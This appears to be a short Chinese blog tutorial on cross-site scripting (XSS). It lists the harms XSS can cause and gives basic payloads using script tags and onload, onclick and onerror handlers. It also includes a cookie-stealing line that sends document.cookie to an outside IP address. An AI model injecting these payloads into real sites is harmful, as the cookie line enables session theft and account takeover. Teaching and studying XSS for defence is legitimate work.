XSS漏洞

最新推荐文章于 2024-10-05 20:22:11 发布

hint=flag

最新推荐文章于 2024-10-05 20:22:11 发布

阅读量445

点赞数

分类专栏： xss 文章标签： php html5 html

本文链接：https://blog.csdn.net/hintll/article/details/120237762

版权

xss 专栏收录该内容

1 篇文章 0 订阅

订阅专栏

XSS（跨站脚本攻击）是一种常见的网络安全漏洞，允许恶意用户在网页上注入代码，危害包括窃取用户账号、控制数据、盗窃商业资料等。常见XSS命令如`<script>alert('xss')</script>`，攻击手段涉及盗取cookie、非法转账等。防范措施至关重要，包括输入验证、输出编码和使用HTTPOnly flag保护cookie。

摘要由CSDN通过智能技术生成

XSS漏洞

XSS攻击全称跨站脚本攻击，是为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆，故将跨站脚本攻击缩写为XSS，XSS是一种在web应用中的计算机安全漏洞，它允许恶意web用户将代码植入到提供给其它用户使用的页面中。
XSS攻击的危害包括
1、盗取各类用户帐号，如机器登录帐号、用户网银帐号、各类管理员帐号
2、控制企业数据，包括读取、篡改、添加、删除企业敏感数据的能力
3、盗窃企业重要的具有商业价值的资料
4、非法转账
5、强制发送电子邮件
6、网站挂马
7、控制受害者机器向其它网站发起攻击
xss漏洞命令：
< script>alert(‘xss’)</s cript>
< body οnlοad=alert(‘xss2’) >
<a href=’’ οnclick=alert(‘xss3’)>click1
<img src=http://192.168.10.128/a.jpg οnerrοr=alert(‘xss4’)>
获取cookie
1.< sc ript>alert(document.cookie)</ script>
2.< script>new Image().src=“http://192.168.10.141/a.php?output=”+document.cookie;</sc ript>